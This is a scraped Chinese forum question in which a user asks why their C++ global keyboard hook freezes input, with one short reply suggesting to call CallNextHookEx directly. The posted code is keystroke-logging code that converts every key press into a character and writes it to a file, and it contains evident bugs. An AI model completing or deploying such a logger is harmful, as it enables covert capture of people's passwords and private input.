首页 诗词 字典 板报 句子 名言 友答 励志 学校 网站地图
当前位置: 首页 > 教程频道 > 开发语言 > C++ >

键盘钩子的有关问题

2012-08-11 
键盘钩子的问题我在学习别人代码……网上下了一个,然后自己改了改……不知道为什么,钩子挂上,就几乎把所有键盘

键盘钩子的问题
我在学习别人代码……网上下了一个,然后自己改了改……不知道为什么,钩子挂上,就几乎把所有键盘输入都给屏蔽了……而且一输入当前窗口就会死掉。代码如下……

C/C++ code
LRESULT CALLBACK KeyHookProc(int nCode, WPARAM wParam, LPARAM lParam){if(((DWORD)lParam&0x40000000) && (HC_ACTION==nCode)){char ch;const int KeyMask=0x80000000;int iShift=GetKeyState(0x10);//得到Caps Lock键的状态int iCapital=GetKeyState(0x14);//得到NumLock键的状态int iNumLock=GetKeyState(0x90);bool bShift=(iShift & KeyMask)==KeyMask;bool bCapital=(iCapital & 1)==1;bool bNumLock=(iNumLock & 1)==1;if (wParam>=48 &&wParam<=57){switch(wParam){// 0~9   case 48: if (!bShift) ch='0';else ch=')';break;case 49: if (!bShift) ch='1';else ch='!';break;case 50: if (!bShift) ch='2';else ch='@';break;case 51: if (!bShift) ch='3';else ch='#';break;case 52: if (!bShift) ch='4';else ch='$';break;case 53: if (!bShift) ch='5';else ch='%';break;case 54: if (!bShift) ch='6';else ch='^';break;  case 55: if (!bShift) ch='7';else ch='&';break;case 56: if (!bShift) ch='8';else ch='*';break;case 57: if (!bShift) ch='9';else ch='(';break;}Buff[0]=ch;DataToFile(Buff);    }if (wParam>=96 &&wParam<=105){if (bNumLock)  {switch(wParam){case 96: ch='0';break;case 97: ch='1';break;case 98: ch='2';break;case 99: ch='3';break;case 100: ch='4';break;case 101: ch='5';break;case 102: ch='6';break;  case 103: ch='7';break;case 104: ch='8';break;case 105: ch='9';break;}Buff[0]=ch;DataToFile(Buff);    }}// A~Zif (wParam>=65 &&wParam<=90){//判断Caps Lock键是否按下if (!bCapital){//判断Shift键是否按下if (bShift)  ch=wParam;  else  ch=wParam+32;}else{if (bShift) ch=wParam+32; else ch=wParam;}Buff[0]=ch;DataToFile(Buff);}if (wParam>=186 &&wParam<=222){//把asc码转换成字符switch (wParam){case 186:if (!bShift) ch=';'; else ch=':';break;case 187:if (!bShift) ch='='; else ch='+';break;case 188:if (!bShift) ch=','; else ch='<' ;break;case 189:if (!bShift) ch='-'; else ch='_';break;case 190:if (!bShift) ch='.'; else ch=' >';break;case 191:if (!bShift) ch='/'; else ch='?';break;case 192:if (!bShift) ch='`'; else ch='~';break;case 219:if (!bShift) ch='['; else ch='{';break;case 220:if (!bShift) ch='\\'; else ch='|';break;case 221:if (!bShift) ch=']'; else ch='}';break;case 222:if (!bShift) ch='\''; else ch='\"';break;default:break;}Buff[0]=ch;DataToFile(Buff);}switch (wParam){//判断是否是退格键case 8:{strcpy(Buff,"[BK]");DataToFile(Buff);break;}//判断是否是回车键case 13:{strcpy(Buff,"[enter]");DataToFile(Buff);break;    }case 32:{strcpy(Buff," ");DataToFile(Buff);break;    }default:break;}}LRESULT RetVal = CallNextHookEx(Kg_hHook, nCode, wParam, lParam );    return RetVal;}BOOL StartHook(){if (Kg_hHook!=NULL)  return FALSE;//安装钩子Kg_hHook = SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyHookProc, g_hInstance, NULL);return TRUE;  }


[解决办法]
先不要那些处理,直接return CallNextHookEx(Kg_hHook, nCode, wParam, lParam );
看看效果怎样

热点排行